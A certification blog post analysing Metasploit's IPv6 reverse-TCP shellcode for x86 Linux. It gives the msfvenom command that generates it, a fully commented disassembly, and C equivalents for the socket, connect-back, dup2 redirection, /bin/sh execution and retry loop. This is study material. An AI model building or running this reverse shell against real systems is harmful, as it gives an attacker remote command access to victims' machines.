This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
https://www.pentesteracademy.com/course?id=3
Student ID: PA-30398
The full source code is stored inside the repository created for this Exam: rbctee/SlaeExam.
List of files:
I chose the following 4 shellcode samples:
Name | Description |
---|---|
linux/x86/adduser | Create a new user with UID 0 |
linux/x86/shell/reverse_nonx_tcp | Spawn a command shell (staged). Connect back to the attacker |
linux/x86/shell_find_tag | Spawn a shell on an established connection (proxy/nat safe) |
linux/x86/shell_reverse_tcp_ipv6 | Connect back to attacker and spawn a command shell over IPv6 |
In this post I'll analyse linux/x86/shell_reverse_tcp_ipv6
.
To generate the payload:
msfvenom -p linux/x86/shell_reverse_tcp_ipv6 LHOST=fe80::250:56ff:fe22:364b LPORT=4444 -o shellcode.bin
To analyze it with ndisasm
:
ndisasm shellcode.bin -b 32 -p intel
It returns the following output (comments are mine though):
; EDX:EAX = EBX * 0
xor ebx,ebx
mul ebx
EBX
, they clear EAX
and EDX
too; IPPROTO_TCP
push byte +0x6
; SOCK_STREAM
push byte +0x1
; AF_INET6
push byte +0xa
; pointer to arguments of socket()
mov ecx,esp
; call socketcall(SYS_SOCKET, ...)
mov al,0x66
mov bl,0x1
; C code: socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
int 0x80
The instructions above create a TCP
socket based on the IPv6
protocol. The return value, stored into the register EAX
(and later moved into ESI
), is a file descriptor.
; save File Descriptor of the socket
mov esi,eax
; clear ECX and EBX and push 0x00000000 to the stack
xor ecx,ecx
xor ebx,ebx
push ebx
0x00000000
two times, thus making the struct 32-bytes long, when the size should be only 28 bytes. If you know, please contact me.; bytes 24-27 of the sockaddr_in6 struct:
; value of sin6_scope_id: 0x00000000
push ebx
; bytes 8-23 of the sockaddr_in6 struct:
; value of sin6_addr: fe80::250:56ff:fe22:364b (big-endian)
push dword 0x4b3622fe
push dword 0xff565002
push byte +0x0
push dword 0x80fe
big-endian
order representing the IPv6 address: fe80::250:56ff:fe22:364b
; bytes 4-7 of the sockaddr_in6 struct:
; value of sin6_flowinfo: 0x00000000
push ebx
; bytes 2-3 of the sockaddr_in6 struct:
; value of sin6_port: port 4444 in big-endian order
push word 0x5c11
; bytes 0-1 of the sockaddr_in6 struct:
; value of sin6_family: AF_INET6
push word 0xa
; save the pointer to the sockaddr_in6 struct into ECX
mov ecx,esp
; 3rd argument of connect():
; size of the sockaddr_in6 struct (28 bytes):
push byte +0x1c
; 2nd argument of connect():
; pointer to the sockaddr_in6 struct
push ecx
; 1st argument of connect():
; File Descriptor of the client socket
push esi
; clear registers
xor ebx,ebx
xor eax,eax
; socketcall() syscall
mov al,0x66
; 1st argument of socketcall():
; SYS_CONNECT call
mov bl,0x3
; 2nd argument of socketcall():
; pointer to the arguments of SYS_CONNECT
mov ecx,esp
; call socketcall() syscall, in turn calling connect(...)
int 0x80
The disassembly I analyzed up until now can be converted into the following C code:
// create an IPv6 socket
int fd = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
// allocate space for the struct containing IPv6 address and TCP port
struct sockaddr_in6 addr;
// set the socket to use IPv6
addr.sin6_family = AF_INET6;
// convert the TCP port number to big-endian (instead of little-endian)
addr.sin6_port = htons(4444);
// convert the string to an IPv6 address (big-endian)
inet_pton(AF_INET6, "fe80::250:56ff:fe22:364b", &(addr.sin6_addr));
// connect to fe80::250:56ff:fe22:364b:4444
connect(fd, (struct sockaddr *)&addr, sizeof(addr));
So, first it creates a TCP socket
based on the IPv6
protocol.
After that, it connects the socket referred to by the file descriptor fd
to the address identified by:
fe80::250:56ff:fe22:364b
4444
Next, the function dup2
is used for redirecting file descriptors.
; clear EBX, setting it to 0
00000046 31DB xor ebx,ebx
; compare EAX with EBX, if they are equal,
; the flag ZF will be set, as cmp
; simply subtracts the bytes
00000048 39D8 cmp eax,ebx
; if the flag ZF is set, and the two registers are equal,
; then jumps to 00000082 (calls nanosleep())
0000004A 7536 jnz 0x82
; 2nd argument of dup2():
; newfd: file descriptor to be redirected,
; in this case stdin
0000004C 31C9 xor ecx,ecx
; clear ECX, EDX, EAX
0000004E F7E1 mul ecx
; 1st argument of dup2():
; oldfd, i.e. the destination of the redirection of
; the file descriptor specified in the arg. newfd (ECX)
00000050 89F3 mov ebx,esi
; call syscall dup2()
00000052 B03F mov al,0x3f
00000054 CD80 int 0x80
stdin
to the previously-created socket; clear EAX
xor eax,eax
; 2nd argument of dup2(): stdout
inc ecx
; 1st argument of dup2(): the IPv6 socket
mov ebx,esi
; call syscall dup2()
mov al,0x3f
int 0x80
stdout
to the previously-created socket; clear EAX
xor eax,eax
; 2nd argument of dup2(): stderr
inc ecx
; 1st argument of dup2(): the IPv6 socket
mov ebx,esi
mov al,0x3f
int 0x80
stderr
to the previously-created socketSo far the disassembly I analyzed is equal to the following C code:
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
Next, a shell is spawned.
; clear EDX and EAX
; 3rd argument of execve(): envp
; array of pointers to strings (env. variables)
; in this case it's a null pointer
xor edx,edx
mul edx
; push a string to the stack and add 4 null bytes at the end
; string: /bin//sh
push edx
push dword 0x68732f2f
push dword 0x6e69622f
; 1st argument of execve(): pathname, a pointer to the
; executable to run
mov ebx,esp
; array of pointers to command-line arguments
; - EBX -> "/bin//sh"
; - EDX -> 0x00000000
push edx
push ebx
; 2nd argument of execve(): argv
; array of pointers to strings (command-line arguments)
mov ecx,esp
; call execve() syscall
mov al,0xb
int 0x80
As for the second assignment, once the shellcode correctly redirected stdin
, stdout
, and stderr
to the file descriptor of the server socket (a metasploit
handler to be specific), it uses execve
to spawn the reverse shell.
In this case it uses the shell /bin//sh
, as the string occupies only 8 bytes
, but we could also replace it with /bin/bash
.
If the shellcode can't connect to the remote server, then it jumps to the address 00000082
, which is the start of a block of assembly instructions that call the syscall nanosleep()
in order to sleep for 10
seconds:
; I don't know why the use of this instruction.
; Once the shellcode spawns a shell, the code of the program
; should be replace, so it seems useless
ret
; clear EBX and push 0x00000000 to the stack
xor ebx,ebx
push ebx
; push the DWORD 0x0000000a to the stack
push byte +0xa
; clear EAX and EDX
mul ebx
; 1st argument of nanosleep():
; pointer to a timespec structure
mov ebx,esp
; call nanosleep()
mov al,0xa2
int 0x80
The interesting fact about nanosleep
is that it doesn't simply use a integer to determine how many seconds/nanoseconds to sleep, but it uses a struct
.
According to the Linux manual, it is structured as follows:
struct timespec {
time_t tv_sec; /* seconds */
long tv_nsec; /* nanoseconds */
};
Based on a few files of the Linux kernel, the size of time_t
should be 4 bytes
on 32-bit x86
systems, same for the long
type. So we're looking at a struct made out of 8 bytes
.
The first 4 bytes specify the number of seconds
to sleep, while the other ones specify the number of nanoseconds
to sleep.
Since the stack
grows downward, we have to push the value of tv_nsec
to the stack first, and then push the value of tv_sec
.
Let's look again at the struct:
; clear EBX
xor ebx,ebx
; push the value of tv_nsec to the stack
; sleep 0 nanoseconds
push ebx
; push the value of tv_sec to the stack
; sleep 10 seconds
push byte +0xa
; clear EAX and EDX
mul ebx
; 1st argument of nanosleep():
; pointer to a timespec structure
mov ebx,esp
Once the shellcode sleeps 10 seconds
, it goes back attempting to connect to the remote server (address 00000014
):
; go back to 00000014 (to connect to the remote server)
jmp 0x14
; apparently, this instruction is never going to be executed
ret
Finally, there are some instructions that call the syscall exit()
, in order to exit gracefully.
; call exit() syscall
xor eax,eax
mov al,0x1
int 0x80
From what it seems, this last syscall is never executed. In fact, there are only two possibilities:
/bin//sh
10 seconds
and trying to connect to the remote serverPerhaps these instructions were added for conformity with other Linux executable, in order to avoid standing out
.